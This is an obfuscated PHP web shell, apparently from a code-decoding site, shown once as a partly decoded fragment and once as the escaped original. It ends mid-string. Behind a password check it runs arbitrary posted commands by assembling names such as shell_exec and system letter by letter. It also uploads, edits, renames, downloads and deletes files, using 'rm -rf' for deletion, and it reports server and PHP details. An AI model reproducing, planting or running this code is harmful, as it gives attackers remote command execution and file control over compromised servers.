\xa <div>SAFE MODE : "; goto O924556442611719; O433070760127619: $O075504229385412 = md5("p]GJ@&~tYbRc-;VZ3HA=k%"); goto O036161061365307; O761791399458035: $_SESSION["currentDirectory"] = O501518105005324(); goto O346468796548056; O800164154051465: die; goto O985557705363760; O710116777090250: @ini_set("max_execution_time", 0); goto O136944312870227; O136944312870227: @ini_set("output_buffering", 0); goto O691183911186852; O347987534611379: echo "</div>
\xa <div>PHP VERSION : "; goto O307102451497013; O522349504105599: O281729583081178: goto O877664608912382; O289050020316610: echo "("; goto O759708205073031; O324452031022926: if (!isset($_GET["logout"])) {
goto O507763631812022;
} goto O040929328949098; O985557705363760: goto O619372642402679; goto O777922622481211; O605463022297883: O970879324369578: goto O961838289620898; O095753643066970: if (isset($O837213299817540)) {
goto O519663624870664;
} goto O829503902144383; O318250189107036: if (!move_uploaded_file($_FILES["file"]["tmp_name"], $O149839801370413)) {
goto O050949301784939;
} goto O482432525192530; O619079922299664: $O661345000717652 = $_SESSION["fmDirectory"]."/".$O661345000717652; goto O336257775033761; O053172286737580: echo O304804334888247($O013532564588412); goto O263346075947795; O675873034429257: echo $_SESSION["fmDirectory"]; goto O323834028012399; O232799720187286: echo O905604811681373(); goto O083050321032146; O071770641748554: O396452838222479: goto O477841822823420; O890216727359707: die; goto O760582427057254; O596556901678039: echo " <div style="display: block; justify-content: center; text-align: center; color: #fff;">
<div>Ip : "; goto O508184895920916; O396073088894091: echo "')" type="button">Shell home</button>\xd
\xd
</div>\xd\xa <div class="container">
\xa
<button onclick="crd()" type="button">Create dir</button>\xd\xa <button onclick="crf()" type="button">Create file</button>
<button onclick="document.getElementById('fileInput').click()">Upload</button>\xd\xa <input type="file" id="fileInput" style="display: none;" onchange="up(this.files[0])">
\xa\xd\xa <table style="width: 100%">\xd
<thead>
<tr>\xd
<th>Name</th>
\xa <th>Size</th>\xd\xa <th>Last Modified</th>\xd\xa <th>Owner/Group</th>
<th>Permission</th>\xd\xa <th>Action</th>\xd\xa </tr>\xd\xa </thead>\xd
<tbody id="fm">\xd\xa "; goto O507712957583178; O664223211933071: O057879632008440: goto O814081434425585; O555805318854283: $O098769130243281 = isset($O938090733250791[1]) ? @O031684522675576($_SESSION["currentDirectory"], $O938090733250791[1]) : o501518105005324(); goto O069317016302126; O235268258665985: goto O619372642402679; goto O539631312342265; O814081434425585: $O128636913820626 = @explode("/", $_SESSION["fmDirectory"]); goto O018396859418419; O961838289620898: $O125675124828290 = $_POST["new"]; goto O921271008536546; O589660991895800: O819059339238447: goto O714889771437684; O419744505660881: $O730252784401428["output"] = $O089902844849031; goto O739848707979071; O714889771437684: $O149839801370413 = $_SESSION["fmDirectory"]."/".basename($_FILES["file"]["name"]); goto O318250189107036; O105361672959092: $O661345000717652 = $_POST["remove"]; goto O347189582335326; O691183911186852: @ini_set("display_errors", 0); goto O454968504761219; O970163704751435: O519663624870664: goto O374752448418596; O076596180017972: die; goto O235268258665985; O678873946475361: $O051933048923284 = $_POST["create_file"]; goto O105361672959092; O644804003498959: function O363302479115642($O837213299817540)
{
goto O931558481736358;
O907273471765157: $O652118403905045 .= "e";
goto O422431914625094;
O293091611298496: $O652118403905045 .= "a";
goto O563299776342890;
O867441222392312: $O652118403905045 .= "x";
goto O709018495627652;
O500323663460035: $O652118403905045 .= "y";
goto O954398699050940;
O445305346308917: $O652118403905045 .= "e";
goto O075139694246583;
O059070782769045: if (!function_exists($O652118403905045)) {
goto O907504755109274;
}
goto O325735836412262;
O563865328986725: @ob_end_clean();
goto O910890409858433;
O188757426069427: $O652118403905045 .= "u";
goto O868327134336305;
O555291953090589: $O652118403905045 .= "e";
goto O689913608519852;
O536114268338113: O467977624306218: goto O690132087653584;
O763440474841253: $O652118403905045 = "e";
goto O867441222392312;
O542222557376869: O907504755109274: goto O515170252735107;
O515170252735107: $O652118403905045 = "s";
goto O500323663460035;
O954398699050940: $O652118403905045 .= "s";
goto O221747244965965;
O321647245925930: $O652118403905045 .= "t";
goto O144660145797708;
O744657610752087: @$O652118403905045($O837213299817540, $O903937526979300);
goto O621655115185846;
O179373209452587: $O652118403905045 .= "c";
goto O954418785454551;
O868327134336305: if (!function_exists($O652118403905045)) {
goto O566199118542184;
}
goto O185921840935055;
O185921840935055: @ob_start();
goto O914347369035230;
O690132087653584: $O652118403905045 = "p";
goto O293091611298496;
O838066068464925: $O652118403905045 .= "x";
goto O907273471765157;
O914347369035230: @$O652118403905045($O837213299817540);
goto O908637470177472;
O653060343837111: @ob_start();
goto O691026438549821;
O144660145797708: $O652118403905045 .= "h";
goto O450668859238781;
O908637470177472: $O526946557678862 = @ob_get_contents();
goto O563865328986725;
O689913608519852: $O652118403905045 .= "m";
goto O266256039130673;
O260715537789872: O062620704468403: goto O763440474841253;
O677310115012778: $O652118403905045 .= "s";
goto O321647245925930;
O621655115185846: return implode('', $O903937526979300);
goto O536114268338113;
O266569586578004: $O791331770667186 = @ob_get_contents();
goto O020987355353776;
O020987355353776: @ob_end_clean();
goto O077265131168580;
O075139694246583: $O652118403905045 .= "l";
goto O758741185540783;
O450668859238781: $O652118403905045 .= "r";
goto O188757426069427;
O954418785454551: if (!function_exists($O652118403905045)) {
goto O467977624306218;
}
goto O869250710302380;
O869250710302380: $O903937526979300 = array();
goto O744657610752087;
O325735836412262: return @$O652118403905045($O837213299817540);
goto O542222557376869;
O563299776342890: $O652118403905045 .= "s";
goto O677310115012778;
O581243845131457: $O652118403905045 .= "h";
goto O445305346308917;
O091003957325127: $O652118403905045 .= "_";
goto O018420526513992;
O422431914625094: $O652118403905045 .= "c";
goto O059070782769045;
O266256039130673: if (!function_exists($O652118403905045)) {
goto O062620704468403;
}
goto O653060343837111;
O691026438549821: @$O652118403905045($O837213299817540);
goto O266569586578004;
O221747244965965: $O652118403905045 .= "t";
goto O555291953090589;
O077265131168580: return $O791331770667186;
goto O260715537789872;
O709018495627652: $O652118403905045 .= "e";
goto O179373209452587;
O837023183273137: O566199118542184: goto O269168625574831;
O910890409858433: return $O526946557678862;
goto O837023183273137;
O931558481736358: $O652118403905045 = "s";
goto O581243845131457;
O018420526513992: $O652118403905045 .= "e";
goto O838066068464925;
O758741185540783: $O652118403905045 .= "l";
goto O091003957325127;
O269168625574831:
} goto O688814201988267; O539631312342265: O382223149082423: goto O383638556220057; O712799127289348: if ($_POST["unlock"]) {
goto O429130159681403;
} goto O144858403667587; O961799327615937: if ($_SESSION["logged"] === true) {
goto O490549161625156;
} goto O911044127391366; O964245503526223: O480745911007735: goto O326564904673939; O018396859418419: @array_pop($O128636913820626); goto O979959958475500; O374752448418596: $O998744034587119 = isset($_SESSION["currentDirectory"]) ? $_SESSION["currentDirectory"] : o501518105005324(); goto O622488211135459; O848461136264814: echo "</title>
\xa <style>\xd\xa body {
\xa background-color: #121212;
}\xd
.link {\xd
background: none;\xd
border: none;\xd\xa padding: 0;
\xa font: inherit;\xd\xa cursor: pointer;\xd\xa display: inline-block;\xd\xa margin: 0 20px;
color: #999;\xd\xa text-decoration: none;
\xa }\xd
\xd\xa .link.active {
\xa color: #34495e;\xd\xa }\xd
input[type="password"] {
\xa padding: 10px;\xd
border: 2px solid #ccc;\xd
border-radius: 5px;
font-size: 16px;\xd\xa }\xd\xa\xd\xa input[type="password"]:focus {\xd\xa outline: none;
\xa border-color: #5a5f62;
\xa box-shadow: 0 0 5px rgb(90, 95, 98);
}\xd\xa tbody tr:hover{\xd\xa background-color: #82868a;
\xa }
\xa .bordered-block {
\xa border: 2px solid black;
\xa padding: 10px;
\xa }\xd\xa .tab-content {\xd
display: none;
}\xd
.tab-content.active {
display: block;
\xa }
\xa p,#cmd_dir,a{color: #fff;}\xd\xa td>a{color:#000}\xd\xa .container {\xd
width: 80%;
\xa margin: 0 auto;\xd\xa padding: 20px;\xd\xa background-color: #d5d4d4;\xd
color: #2f2a2a;
font-family: monospace;
\xa border-radius: 5px;
\xa }
#output {\xd
height: 50vh;\xd
overflow-y: auto;
margin-bottom: 10px;
padding: 10px;\xd
border: 1px solid #444;\xd\xa }
\xd\xa input[type="text"] {\xd\xa width: 100%;\xd
padding: 10px;
border: none;\xd\xa background-color: transparent;
color: #2f2a2a;\xd\xa font-family: monospace;\xd\xa border-top: 1px solid #444;\xd
outline: none;
}
.menu {\xd\xa display: flex;\xd\xa justify-content: center;
\xa margin-bottom: 20px;\xd\xa padding-bottom: 10px;\xd\xa }
.modal {
\xa position: fixed;
\xa z-index: 1;\xd\xa left: 0;\xd\xa top: 0;
\xa width: 100%;
\xa height: 100%;\xd\xa overflow: auto;
\xa background-color: rgba(0,0,0,0.4);
\xa }\xd\xa
\xa .modal-content {
\xa background-color: #fefefe;\xd\xa margin: 5% auto;\xd\xa padding: 20px;
border: 1px solid #888;
\xa width: 80%;\xd\xa min-height: 70%;\xd\xa box-sizing: border-box;\xd
}
\xd\xa .close {\xd\xa color: #aaa;\xd
float: right;
font-size: 28px;\xd
font-weight: bold;\xd\xa }\xd
.close:hover,\xd\xa .close:focus {\xd
color: black;
text-decoration: none;\xd\xa cursor: pointer;\xd\xa }
\xa .modal-buttons {
\xa text-align: center;
\xa }\xd
\xd
.modal-content button {\xd\xa margin: 5px;
}
\xd
.modal-content textarea {
\xa width: calc(100% - 10px);\xd
height: 400px;
\xa resize: none;\xd
}\xd\xa a {
\xa cursor: pointer;\xd\xa }
a:hover{
\xa color:darkslategray;
\xa }\xd
button {
\xa display: inline-block;
padding: 10px 20px;
\xa background-color: dimgray;
color: #fff;\xd\xa border: none;\xd\xa border-radius: 5px;
\xa text-align: center;
text-decoration: none;
font-size: 16px;\xd\xa cursor: pointer;\xd\xa transition: background-color 0.3s ease;
}
button:hover button:active {\xd\xa background-color: darkslategray;\xd
}
\xa .file-input__input {
width: 0.1px;
\xa height: 0.1px;
\xa opacity: 0;\xd\xa overflow: hidden;\xd\xa z-index: -1;\xd\xa }\xd
\xd
.file-input__label svg {\xd
height: 16px;
\xa margin-right: 4px;
\xa }\xd
.overlay {
\xa position: fixed;
top: 0;\xd\xa left: 0;\xd\xa width: 100%;\xd\xa height: 100%;
background-color: rgba(0, 0, 0, 0.5);\xd\xa display: none;\xd
z-index: 9999;\xd
}\xd
\xd
.overlay.show {\xd
display: block;
\xa }
\xa\xd
.loader {
position: absolute;
top: 50%;\xd
left: 50%;
\xa transform: translate(-50%, -50%);
color: white;\xd\xa font-size: 24px;\xd\xa }\xd
</style>\xd\xa</head>\xd
<body style="height: 100%; width: 100%">\xd\xa<div class="overlay" id="overlay">\xd\xa <div class="loader">Loading...</div>\xd\xa</div>\xd\xa"; goto O961799327615937; O583569576009201: exit; goto O872742123208085; O917861373169026: $O140689804340991 = @O821909410654961(); goto O290219010592892; O672563268830823: O953301279051404: goto O650792284916056; O509253786593473: goto O281729583081178; goto O428341872929034; O636440853297685: echo $O911780980490314; goto O848461136264814; O609908090908252: echo $O911780980490314; goto O079724665713491; O790266816415890: function O199134340056157()
{
return php_uname();
} goto O132589228593536; O743153915458711: function O031684522675576($O039576280896189, $O837213299817540)
{
goto O853067981176089;
O267761640732494: return implode("/", $O970054109502748);
goto O803071784224222;
O263488432674432: O499952419492603: goto O238433726844467;
O129685406657878: foreach ($O250426899844196 as $O954033944428973) {
goto O047245652248787;
O038015745548279: O043360069764467: goto O514909133428341;
O514909133428341: array_pop($O970054109502748);
goto O837457291154651;
O425370854536722: O466102071095062: goto O239446459489551;
O837457291154651: O655259875030525: goto O425370854536722;
O609634716019262: $O970054109502748[] = $O954033944428973;
goto O631149823844259;
O047245652248787: if ($O954033944428973 === "..") {
goto O043360069764467;
}
goto O609634716019262;
O631149823844259: goto O655259875030525;
goto O038015745548279;
O239446459489551:
}
goto O199256361843199;
O749255445346644: return implode("/", $O938090733250791);
goto O573493744125241;
O789910371100841: O257061308195880: goto O967066208992969;
O238433726844467: return "/";
goto O582348250641892;
O582348250641892: O962387920913429: goto O736355832365445;
O803071784224222: goto O962387920913429;
goto O351100079922874;
O250600917980662: $O970054109502748 = explode("/", rtrim(str_replace("\", "/", $O039576280896189), "/"));
goto O129685406657878;
O853067981176089: if ($O837213299817540 === "../") {
goto O667347161518379;
}
goto O733281503988252;
O573493744125241: goto O962387920913429;
goto O789910371100841;
O199256361843199: O508503839012768: goto O267761640732494;
O578665789378378: array_pop($O938090733250791);
goto O749255445346644;
O339951425904804: if ($O837213299817540 === "/") {
goto O499952419492603;
}
goto O982734940479443;
O784535484343881: $O938090733250791 = explode("/", rtrim(str_replace("\", "/", $O039576280896189), "/"));
goto O578665789378378;
O351100079922874: O667347161518379: goto O784535484343881;
O933916731578385: goto O962387920913429;
goto O263488432674432;
O982734940479443: $O250426899844196 = explode("/", rtrim($O837213299817540, "/"));
goto O250600917980662;
O967066208992969: return $O039576280896189;
goto O933916731578385;
O733281503988252: if ($O837213299817540 === "./") {
goto O257061308195880;
}
goto O339951425904804;
O736355832365445:
} goto O790266816415890; O587767506976394: O677399710667651: goto O651022533046456; O336257775033761: if (is_dir($O661345000717652)) {
goto O269739067495622;
} goto O513990495294666; O671221038715586: function O780999200951570($O325919125965414)
{
$O652118403905045 = file_get_contents($O325919125965414);
return "<div id="modal" class="modal">\xd
<div class="modal-content">
\xa <span onclick="document.getElementById('4modal').innerHTML = ''" class="close">×</span>\xd
<input type="hidden" id="filename" name="filename" value="".$O325919125965414."">
<textarea id="filecontent">".htmlspecialchars($O652118403905045)."</textarea>
<div class="modal-buttons">
<button id="saveBtn" onclick="svf()">Save</button>
\xa <button type="button" onclick="document.getElementById('4modal').innerHTML = ''">Cancel</button>\xd\xa </div>
\xa </div>\xd
</div>";
} goto O256266328766972; O479631428339949: echo "</div>\xd
<div>Docker : "; goto O778488552058858; O855026727856210: echo "</div>\xd
<div>DISABLE FUNC: "; goto O600300636853319; O508184895920916: echo $O140689804340991; goto O928807225114919; O344385154203033: http_response_code(400); goto O097513066113884; O688814201988267: function O480521024950907()
{
goto O024131937675487;
O127997928623992: array_pop($O001591742834896);
goto O102463610542863;
O024131937675487: $O791331770667186 = '';
goto O138662503024502;
O154848797858829: return $O791331770667186;
goto O457773573711126;
O650064349444105: O380881635875552: goto O154848797858829;
O969725534358746: foreach (o002248066211344() as $O325919125965414) {
goto O250444549277659;
O494753041188714: O480153284033840: goto O696886207393493;
O409054876851486: O357606565409385: goto O819019296644504;
O397625064819130: goto O357606565409385;
goto O494753041188714;
O392401758553919: if (is_file($O338339439359708)) {
goto O480153284033840;
}
goto O887158249578265;
O438109518725930: O170870399507876: goto O412873006994681;
O250444549277659: $O338339439359708 = $_SESSION["fmDirectory"]."/".$O325919125965414;
goto O392401758553919;
O696886207393493: $O964697395892087 = "\360\x9f\223\204 <a onclick='vf("".$O338339439359708."")'>".$O325919125965414."</a>";
goto O409054876851486;
O887158249578265: $O964697395892087 = "\360\x9f\223\x81 <a onclick='fmTable("".$O338339439359708."")'>".$O325919125965414."</a>";
goto O397625064819130;
O819019296644504: $O791331770667186 .= "<tr><td style="text-align: left">".$O964697395892087."</td><td>".o353954368716007(filesize($O338339439359708))."</td><td>".date("d-m-Y g:i:s", filemtime($O338339439359708))."</td><td>".O810496288220638(fileowner($O338339439359708))."(".o321385932685852(filegroup($O338339439359708)).")</td><td style="color:".(is_writeable($O338339439359708) ? "#048012" : "#a10000")."">".O968393204644379($O338339439359708)."</td><td><a onclick="ren('".$O325919125965414."')" >Rename</a> | <a onclick="rem('".$O325919125965414."')" >Remove</a>".(is_file($O338339439359708) ? " | <a onclick="dl('".$O325919125965414."')" >Download</a>" : '')."</td></tr>";
goto O438109518725930;
O412873006994681:
}
goto O650064349444105;
O138662503024502: $O001591742834896 = explode("/", $_SESSION["fmDirectory"]);
goto O127997928623992;
O100931195337129: $O791331770667186 .= "<tr><td style="text-align: left">".$O964697395892087."</td></tr>";
goto O969725534358746;
O102463610542863: $O001591742834896 = count($O001591742834896) ? implode("/", $O001591742834896) : "/";
goto O090678494755246;
O090678494755246: $O964697395892087 = "\xf0\x9f\223\201 <a onclick='fmTable("".$O001591742834896."")'>..</a>";
goto O100931195337129;
O457773573711126:
} goto O671221038715586; O412447077459491: echo @get_current_user(); goto O289050020316610; O781963994693568: header("Cache-Control: must-revalidate"); goto O870548897997164; O572807631499805: echo isset($_SESSION["lock"]) ? "block" : "none"; goto O467512000648235; O975026152305840: @O363302479115642("rm -rf ".$O661345000717652); goto O692141123938037; O193826859326990: if ($O228630402481115) {
goto O970879324369578;
} goto O309738216111402; O262425725894022: $O444244484811129 = $_POST["download"]; goto O248800021649502; O079723788353787: O199279032208890: goto O324452031022926; O487134585986433: $O242247846642569 = $_POST["save_file"]; goto O262425725894022; O603789192799214: function o321385932685852($O121628722760153 = null)
{
goto O759400962955558;
O525777791531818: if (!function_exists("posix_getegid")) {
$O121628722760153 = @getmygid();
} else {
$O121628722760153 = posix_getegid();
}
goto O864340639348728;
O759400962955558: if (isset($O121628722760153)) {
goto O716349442666604;
}
goto O525777791531818;
O864340639348728: O716349442666604: goto O928274742180814;
O953191280872532: $O730252784401428 = @posix_getgrgid($O121628722760153);
goto O033925179117850;
O928274742180814: if (!function_exists("posix_getgrgid")) {
goto O333114827012591;
}
goto O046586501456910;
O033925179117850: $O125675124828290->name = is_array($O730252784401428) ? $O730252784401428["name"] : '';
goto O315002626649714;
O315002626649714: return $O125675124828290->name;
goto O969174295248212;
O046586501456910: $O125675124828290 = new stdClass();
goto O953191280872532;
O701039205631686: return $O121628722760153;
goto O639125802157924;
O969174295248212: O333114827012591: goto O701039205631686;
O639125802157924:
} goto O245426740951091; O560097982476935: echo "</body>\xd\xa</html";
?>
Did this file decode correctly?
Original Code
<?php
goto O019918504133681; O762346584063926: $O837213299817540 = $_POST["\143\157\x6d\155\141\x6e\x64"]; goto O743072877402723; O636322150645839: function O002248066211344()
{
goto O702352324738652;
O630092464935269: O410160265816445: goto O542791066850725;
O542791066850725: sort($O891823127845844);
goto O237619023027603;
O890693600048711: $O891823127845844 = array();
goto O940893656126145;
O940893656126145: $O721981628022953 = array();
goto O436150333157776;
O436150333157776: foreach ($O432552384356945 as $O271954641084863 => $O745991038573405) {
goto O701569521891459;
O902882811991682: goto O950079908679430;
goto O899283673031274;
O238074138525256: O222472512152948: goto O915659540238224;
O701569521891459: if (!($O271954641084863 <= 1)) {
goto O222472512152948;
}
goto O826903297216041;
O434924744710909: $O721981628022953[] = $O745991038573405;
goto O881355546391511;
O899283673031274: O307488427828808: goto O832122231491499;
O881355546391511: O950079908679430: goto O536843724272650;
O832122231491499: $O891823127845844[] = $O745991038573405;
goto O596549031833093;
O536843724272650: O165010328264269: goto O770192116480840;
O915659540238224: $O685325446027685 = $_SESSION["\x66\x6d\x44\151\x72\x65\x63\164\x6f\162\171"] != "\x2f" ? $_SESSION["\x66\155\104\x69\162\x65\x63\x74\157\162\x79"]."\x2f".$O745991038573405 : $_SESSION["\x66\155\x44\151\162\145\143\x74\x6f\162\171"].$O745991038573405;
goto O919140091315142;
O826903297216041: goto O165010328264269;
goto O238074138525256;
O434590888655339: if (is_file($O685325446027685)) {
goto O843176700730540;
}
goto O902882811991682;
O657371138716101: O843176700730540: goto O434924744710909;
O596549031833093: goto O950079908679430;
goto O657371138716101;
O919140091315142: if (is_dir($O685325446027685)) {
goto O307488427828808;
}
goto O434590888655339;
O770192116480840:
}
goto O630092464935269;
O237619023027603: sort($O721981628022953);
goto O076945831949838;
O702352324738652: $O432552384356945 = scandir($_SESSION["\146\x6d\104\x69\162\145\143\164\x6f\162\171"]);
goto O890693600048711;
O076945831949838: return array_merge($O891823127845844, $O721981628022953);
goto O580515686239873;
O580515686239873:
} goto O355349746838676; O828688341785830: echo O905604811681373(); goto O800164154051465; O504437710077602: header("\x45\x78\160\x69\162\x65\x73\72\40\x30"); goto O781963994693568; O482432525192530: header("\103\x6f\x6e\x74\145\156\x74\55\x54\171\x70\145\72\x20\141\x70\x70\154\151\143\x61\x74\151\157\x6e\57\152\163\157\x6e"); goto O599554594623212; O327708669073100: $O698581543278162 = "\57{$O698581543278162}"; goto O157771063023370; O106945797580760: $O013532564588412 = function_exists("\x6f\x39\x38\x32\x34\62\x39\67\62\x31\67\71\62\71\x39\66") || extension_loaded("\x70\144\x6f\x5f\x6d\171\163\x71\154"); goto O407820720978259; O234313430410745: echo $_SESSION["\146\x6d\x44\x69\162\145\x63\164\x6f\162\x79"]; goto O396073088894091; O372110017422664: goto O619372642402679; goto O264466498060221; O428341872929034: O398455420374330: goto O762346584063926; O921271008536546: if (empty($O125675124828290)) {
goto O905867729339988;
} goto O412414238483226; O766202748636940: O110802554876153: goto O917861373169026; O175046871327114: header("\114\157\143\x61\x74\x69\157\156\72\40".$_SERVER["\x50\x48\x50\137\x53\x45\114\106"]); goto O241330730160544; O699170548920690: header("\103\x6f\x6e\164\145\156\x74\x2d\x54\171\160\x65\72\40\x61\160\160\x6c\151\x63\141\164\151\x6f\156\x2f\x6a\163\157\156"); goto O232799720187286; O468894664186896: header("\x43\x6f\156\164\145\x6e\164\55\x54\x79\x70\145\72\40\x61\x70\x70\154\151\x63\x61\164\x69\157\156\57\x6a\x73\x6f\x6e"); goto O598710380632918; O557003354705756: $O837213299817540 = "\x63\144\x20{$O998744034587119}\x20\46\x26\40{$O837213299817540}"; goto O200401522556111; O072944446985046: die; goto O372110017422664; O355349746838676: function O968393204644379($O563246146913536)
{
goto O710325817921746;
O910222039974950: $O106659338176383 .= "\144";
goto O804849331740306;
O804849331740306: goto O811224572761910;
goto O520722647853373;
O174684953653465: $O106659338176383 .= $O324517682094028 & 0x20 ? "\x72" : "\x2d";
goto O586403963054911;
O378166496164431: $O106659338176383 .= $O324517682094028 & 0x80 ? "\x77" : "\55";
goto O920609642255675;
O727101632867909: $O106659338176383 = '';
goto O279017407962748;
O710325817921746: $O324517682094028 = fileperms($O563246146913536);
goto O727101632867909;
O523938532814623: $O106659338176383 .= "\55";
goto O416210443844408;
O228138371366798: $O106659338176383 .= $O324517682094028 & 0x2 ? "\167" : "\55";
goto O281962878935102;
O216084984267982: goto O811224572761910;
goto O826226423243214;
O826226423243214: O290404736306408: goto O910222039974950;
O897794565442584: if (is_file($O563246146913536)) {
goto O401137868513632;
}
goto O216084984267982;
O279017407962748: if (is_dir($O563246146913536)) {
goto O290404736306408;
}
goto O897794565442584;
O520722647853373: O401137868513632: goto O523938532814623;
O920609642255675: $O106659338176383 .= $O324517682094028 & 0x40 ? "\x78" : "\x2d";
goto O174684953653465;
O281962878935102: $O106659338176383 .= $O324517682094028 & 0x1 ? "\x78" : "\55";
goto O517095378061717;
O416210443844408: O811224572761910: goto O948668212110043;
O961204749187235: $O106659338176383 .= $O324517682094028 & 0x8 ? "\170" : "\55";
goto O284636332079110;
O586403963054911: $O106659338176383 .= $O324517682094028 & 0x10 ? "\167" : "\55";
goto O961204749187235;
O284636332079110: $O106659338176383 .= $O324517682094028 & 0x4 ? "\x72" : "\x2d";
goto O228138371366798;
O948668212110043: $O106659338176383 .= $O324517682094028 & 0x100 ? "\162" : "\55";
goto O378166496164431;
O517095378061717: return $O106659338176383;
goto O465380555206051;
O465380555206051:
} goto O644804003498959; O741798062335316: O062076434200043: goto O344385154203033; O834996516422955: session_destroy(); goto O175046871327114; O256266328766972: function O353954368716007($O908951285645009, $O033555073738803 = 2)
{
goto O167272872752702;
O856333759279341: $O908951285645009 /= pow(1024, $O457251262526212);
goto O648466590090224;
O720354126760810: $O908951285645009 = max($O908951285645009, 0);
goto O181601901359329;
O569340798499227: $O457251262526212 = min($O457251262526212, count($O176258075275555) - 1);
goto O856333759279341;
O648466590090224: return round($O908951285645009, $O033555073738803)."\40\x61\142\x6f\x62\x75\163\x2e\160\150\160".$O176258075275555[$O457251262526212];
goto O990357539993482;
O167272872752702: $O176258075275555 = array("\102", "\x4b\102", "\115\x42", "\107\x42", "\x54\x42");
goto O720354126760810;
O181601901359329: $O457251262526212 = floor(($O908951285645009 ? log($O908951285645009) : 0) / log(1024));
goto O569340798499227;
O990357539993482:
} goto O603789192799214; O945909150281823: if (isset($O661345000717652)) {
goto O144858685639999;
} goto O831113285151504; O928227793465531: echo o905604811681373(); goto O660751263798720; O264318935408816: $O730252784401428 = array(); goto O104120484335310; O692141123938037: O297578233449045: goto O849303865699761; O994489745183071: echo o304804334888247($O688727582453655); goto O209477935506473; O456763908981261: echo $_SERVER["\123\x45\122\126\x45\x52\137\123\x4f\x46\x54\127\x41\x52\x45"]; goto O649053296981682; O859136064133309: if ($O444244484811129) {
goto O396452838222479;
} goto O193826859326990; O110261511181907: function o304804334888247($O330733878821214)
{
return $O330733878821214 ? "\xe2\234\205" : "\342\235\x8c";
} goto O636322150645839; O475737012313458: goto O619372642402679; goto O415207188550024; O040929328949098: unset($_SESSION); goto O325085584214381; O447514473719995: echo "\74\57\144\151\x76\76\15\xa\x20\40\40\x20\40\40\x20\x20\74\x64\151\166\76\x55\x53\x45\122\x20\40\40\x20\x20\40\40\x20\x3a\40"; goto O412447077459491; O651022533046456: if (!(!$_SESSION["\154\x6f\147\x67\x65\144"] && $_REQUEST["\115\105\x54\110\x4f\104\x5f\120\x4f\123\x54"])) {
goto O110802554876153;
} goto O639917221236833; O716795232145085: goto O619372642402679; goto O651653113384828; O326564904673939: if ($O698581543278162 == "\x2e") {
goto O650383758337268;
} goto O059037058522501; O061445577794250: O583589677380766: goto O593825300391456; O885320361604378: if (isset($O051933048923284)) {
goto O549413837203966;
} goto O945909150281823; O653025071284283: @mkdir($_SESSION["\146\155\x44\151\x72\145\143\164\x6f\x72\x79"]."\57".$O342485799325228); goto O699170548920690; O982792210776324: $O016699321966605 = filemtime($O242247846642569); goto O508790733447424; O829503902144383: if (isset($O698581543278162)) {
goto O480745911007735;
} goto O736214950824050; O703189309486020: header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\171\x70\145\72\x20\x61\160\160\154\151\143\x61\164\151\157\156\x2f\x6f\x63\164\145\164\55\163\x74\162\x65\141\155"); goto O929052086993026; O870548897997164: header("\120\162\141\147\x6d\x61\x3a\x20\160\165\142\154\x69\143"); goto O996034252427356; O263346075947795: echo "\40\x7c\x20\x50\157\163\164\147\162\x65\x73\x71\154\x3a\40"; goto O700758329551873; O248800021649502: $O228630402481115 = $_POST["\162\145\156\x61\x6d\x65"]; goto O095753643066970; O812423394010006: goto O619372642402679; goto O868634185095699; O703970063841259: goto O619372642402679; goto O964245503526223; O458608821081133: $_SESSION["\x6c\x6f\x67\x67\145\x64"] = isset($_POST["\160\141\163\x73\x77\x6f\x72\144"]) && md5($_POST["\160\141\163\x73\x77\157\x72\144"]) == $O075504229385412; goto O587767506976394; O868634185095699: O549413837203966: goto O707325632475027; O911044127391366: if (!empty($O075504229385412) || isset($_POST["\x70\x61\x73\163\167\157\162\x64"]) && md5($_POST["\160\141\163\x73\x77\x6f\x72\x64"]) === $O075504229385412) {
goto O953301279051404;
} goto O358946510099885; O404136366190580: echo "\74\57\163\x70\x61\x6e\76\15\xa\40\x20\x20\40\40\40\x20\40\74\57\144\x69\x76\x3e\xd\12\40\40\x20\40\40\40\40\x20\74\146\157\162\x6d\x20\151\144\x3d\x22\143\x6f\x6d\x6d\x61\156\x64\106\157\x72\x6d\x22\x20\x61\143\x74\x69\x6f\x6e\75\42\42\40\x6d\x65\164\x68\x6f\x64\75\42\160\157\163\x74\42\x3e\xd\xa\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x3c\x64\151\x76\40\x63\x6c\141\163\x73\75\42\143\x6f\156\x74\141\x69\x6e\x65\x72\x22\76\15\12\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\40\74\x64\151\166\x20\151\144\75\42\157\x75\164\160\x75\x74\x22\76\x3c\x2f\144\151\166\76\15\12\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x3c\151\156\x70\x75\164\x20\x74\x79\x70\145\75\x22\164\x65\170\x74\42\x20\x69\144\75\42\143\157\x6d\155\141\156\x64\x49\x6e\160\165\x74\42\x20\156\141\x6d\x65\75\42\143\157\x6d\x6d\x61\x6e\x64\42\x20\x70\x6c\141\143\145\x68\157\x6c\x64\x65\x72\75\42\x77\150\x6f\x61\x6d\151\x22\x3e\15\xa\40\40\x20\40\x20\40\40\40\40\40\40\40\74\57\144\151\x76\76\15\12\x20\x20\x20\x20\x20\40\40\x20\x3c\x2f\146\x6f\x72\155\x3e\15\12\x20\40\x20\x20\74\57\x64\151\x76\x3e\15\xa\x20\40\x20\x20\x3c\144\x69\166\x20\x63\x6c\141\x73\x73\x3d\42\x66\151\x6c\x65\x2d\x6d\x61\156\141\x67\145\x72\x20\164\x61\x62\x2d\x63\157\156\164\x65\x6e\164\42\x20\x73\164\171\154\145\x3d\42\152\165\x73\164\151\146\x79\55\x63\157\156\x74\145\x6e\x74\72\x20\x63\145\x6e\164\x65\162\x3b\40\164\145\170\164\55\x61\154\151\147\156\x3a\x20\x63\x65\156\164\145\162\73\x20\155\141\162\x67\x69\x6e\x2d\164\x6f\x70\72\x20\61\60\160\x78\73\42\x3e\xd\xa\40\40\40\x20\x20\40\x20\x20\74\x64\x69\166\x20\163\164\171\x6c\x65\75\x22\x74\x65\170\x74\x2d\141\154\151\147\x6e\x3a\x20\143\x65\156\x74\x65\162\73\x20\x6a\165\163\164\151\146\x79\x2d\x63\157\x6e\x74\145\x6e\164\72\x20\x63\x65\156\x74\x65\x72\73\x20\155\x61\162\x67\x69\156\x2d\142\157\164\x74\157\x6d\x3a\x20\x35\x70\170\42\x3e\15\xa\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\74\x62\165\x74\164\157\x6e\40\x6f\156\x63\x6c\x69\143\x6b\75\42\146\155\124\x61\142\x6c\x65\50\47\x2f\x27\51\42\